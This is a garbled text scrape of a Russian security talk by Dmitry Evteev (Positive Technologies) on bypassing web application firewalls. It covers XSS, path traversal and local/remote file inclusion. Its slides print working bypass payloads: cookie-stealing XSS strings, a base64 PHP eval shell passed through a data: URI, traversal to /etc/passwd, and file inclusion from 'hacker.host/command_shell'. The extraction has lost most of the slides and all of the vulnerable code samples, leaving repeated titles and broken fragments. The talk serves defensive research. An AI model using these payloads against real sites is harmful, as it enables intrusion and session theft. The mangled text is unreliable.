Методы обхода Web Application Firewall Дмитрий Евтеев Positive Technologies

Содержание

Слайд 2

О чем пойдет речь Опасный мир Web-приложений Какие бывают "спасители" от

О чем пойдет речь

Опасный мир Web-приложений
Какие бывают "спасители" от угроз
Web Application

Firewall, что за новомодный зверь такой?
Методы обхода Web Application Firewall
Практика обхода Web Application Firewall
Пример из практики или почему CC’09 не был взломан
Резюме
Слайд 3

Опасный мир Web-приложений Статистика уязвимостей Web-приложений Positive Technologies за 2008 год

Опасный мир Web-приложений

Статистика уязвимостей Web-приложений Positive Technologies за 2008 год (Whitebox

Sites %) - http://www.ptsecurity.ru/analytics.asp

OWASP Top-10
SANS Top-20

Слайд 4

Опасный мир Web-приложений Статистика уязвимостей Web-приложений WASC за 2008 год (Whitebox Sites %) - http://www.webappsec.org/projects/statistics/

Опасный мир Web-приложений

Статистика уязвимостей Web-приложений WASC за 2008 год (Whitebox Sites

%) - http://www.webappsec.org/projects/statistics/
Слайд 5

Подходы по снижению угроз Директивный подход (Directive) Software Development Life Cycle

Подходы по снижению угроз

Директивный подход (Directive)
Software Development Life Cycle (SDLC), «бумажная

безопасность», выстраивание высокоуровневых процессов
Детективный подход (Detective)
Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода
Профилактический подход (Preventive)
Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)
Слайд 6

Что такое WAF http://server/?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http://server/?id=5351 http://server/?id=8234

Что такое WAF

http://server/?id=6329&print=Y

Нас атакуют! Ахтунг!!!

WAF

Webserver

http://server/?id=5351

http://server/?id=8234

http://server/?id=“>
Эксплуатация: /?xss=500); alert(document.cookie);//
DOM-based XSS
Пример:
Эксплуатация: /?xss=document.cookie
Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8)

Методы обхода WAF – Cross-Site Scripting

Слайд 32

Практика обхода WAF: Cross-Site Scripting XSS через перенаправление запроса Уязвимый код:

Практика обхода WAF: Cross-Site Scripting

XSS через перенаправление запроса
Уязвимый код:

header('Location: '.$_GET['param']);

А также:

header('Refresh:

0; URL='.$_GET['param']);

Такой запрос WAF не пропустит:
/?param=javascript:alert(document.cookie)
Подобный запрос WAF пропустит и XSS отработает на некоторых браузерах (Opera, Safary, Chrom, etc):
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html
Слайд 33

Практика обхода WAF: Cross-Site Scripting Использование HPP, HPF иногда позволяет обойти

Практика обхода WAF: Cross-Site Scripting

Использование HPP, HPF иногда позволяет обойти фильтры
Обход

правил фильтрации на примере ModSecurity:

";document.write('');"
...
BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
Слайд 34

Резюме: Глава II - Cross-Site Scripting Атака Cross-Site Scripting может быть

Резюме: Глава II - Cross-Site Scripting

Атака Cross-Site Scripting может быть успешно

реализована в обход WAF во всех следующих случаях:
Эксплуатация DOM-based XSS
Использование техник HPP и HPF
Аналогично эксплуатации SQL Injection - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF
Слайд 35

Практика обхода WAF. Глава III Обратный путь в директориях и инклудинг

Практика обхода WAF. Глава III
Обратный путь в директориях и инклудинг файлов


(Path Traversal, Local/Remote File Including)
WASC: http://projects.webappsec.org/
OWASP: http://www.owasp.org/index.php/
Слайд 36

Path Traversal, L/RFI– Базовые знания Пример уязвимости Path Traversal Логика программы:

Path Traversal, L/RFI– Базовые знания

Пример уязвимости Path Traversal
Логика программы:

?>
index.php?file=myfile
Пример эксплуатации:
index.php?file=/../../../../../etc/passwd%00
Опасность уязвимости Local File Including
Функции include() и require() интерпретируют текст, как часть программного кода!
Пример эксплуатации:
index.php?file=img/command_shell.jpg%00
Рождение Remote File Including
Если allow_url_fopen & allow_url_include в состоянии enable, то:
index.php?file=http://hacker.host/command_shell
Слайд 37

Практика обхода WAF: Path Traversal Пример уязвимости path traversal Логика программы:

Практика обхода WAF: Path Traversal

Пример уязвимости path traversal
Логика программы:

?>
Эксплуатация уязвимости:
/?id=/union%20select/../../../../../../../etc/passwd
Запрос принимает вид:

Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам
Слайд 38

Практика обхода WAF: Path Traversal и LFI Действительно, обойти сигнатуру «../»

Практика обхода WAF: Path Traversal и LFI

Действительно, обойти сигнатуру «../» и

«..\» не всегда возможно, но всегда ли это требуется?
Пример 1. Чтение файлов в каталоге, расположенного выше корневого
Логика программы:

Эксплуатация уязвимости:
/?file=secrets/admins.db/./.[N]/./.
/?file=secrets/admins.db..[N]..
Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой:
Нормализация пути (лишние символы, например, «/» и «/.» удаляются)
- Усечение пути (определяется константой MAX_PATH, которая обычно меньше MAX_URI_PATH в WAF)
http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/
Слайд 39

Практика обхода WAF: Path Traversal и LFI Пример 2. Выполнение команд

Практика обхода WAF: Path Traversal и LFI

Пример 2. Выполнение команд на

сервере
Логика программы:

Эксплуатация уязвимости:
Запрос, отлавливаемый WAF:
/?file=data:,&cmd=phpinfo();
Запрос, который WAF пропускают:
/?file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b&cmd=phpinfo();
Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable)
reference: коллективный разум antichat.ru
Слайд 40

Практика обхода WAF: Remote File Including Фундаментальные ограничения WAF (универсальный фильтр

Практика обхода WAF: Remote File Including

Фундаментальные ограничения WAF (универсальный фильтр будет

блокировать легитимные запросы!)
Примеры легитимных запросов в логике крупных WEB ресурсов:
Перенаправление HTTP-запроса:
http://www.securitylab.ru/exturl.php?goto=http://ya.ru
http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru
http://www.google.com/url?url=http://ya.ru
http://vkontakte.ru/away.php?to=http://ya.ru ...
Обычная запись в Wiki:
http://en.wikipedia.org/wiki/Http://www.google.com
Online переводчик:
http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru
Слайд 41

Резюме: Глава III - Path Traversal, L/RFI Атака Path Traversal, L/RFI

Резюме: Глава III - Path Traversal, L/RFI

Атака Path Traversal, L/RFI может

быть успешно реализована в обход WAF во всех следующих случаях:
Фундаментальные проблемы (RFI)
Аналогично предыдущим двум главам - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF
Слайд 42

Пример из практики или почему CC’09 не был взломан ...and+if((ascii(lower(mid((select...

Пример из практики или почему CC’09 не был взломан

...and+if((ascii(lower(mid((select...

Слайд 43

Резюме WAF – это не долгожданная "серебряная пуля" В силу своих

Резюме

WAF – это не долгожданная "серебряная пуля"
В силу своих функциональных ограничений,

WAF не способен защитить Web-приложение от всех возможных уязвимостей, которым оно может быть подвержено
Необходимо проведение адаптации фильтров WAF под защищаемое Web-приложение
WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки
Концептуальные проблемы WAF – использование сигнатурного принципа (будущее за поведенческим анализом?)
WAF является полезным инструментом в контексте построения эшелонированной защиты Web-приложений
Закрытие вектора атаки до момента выхода исправления от разработчика, устраняющее уязвимость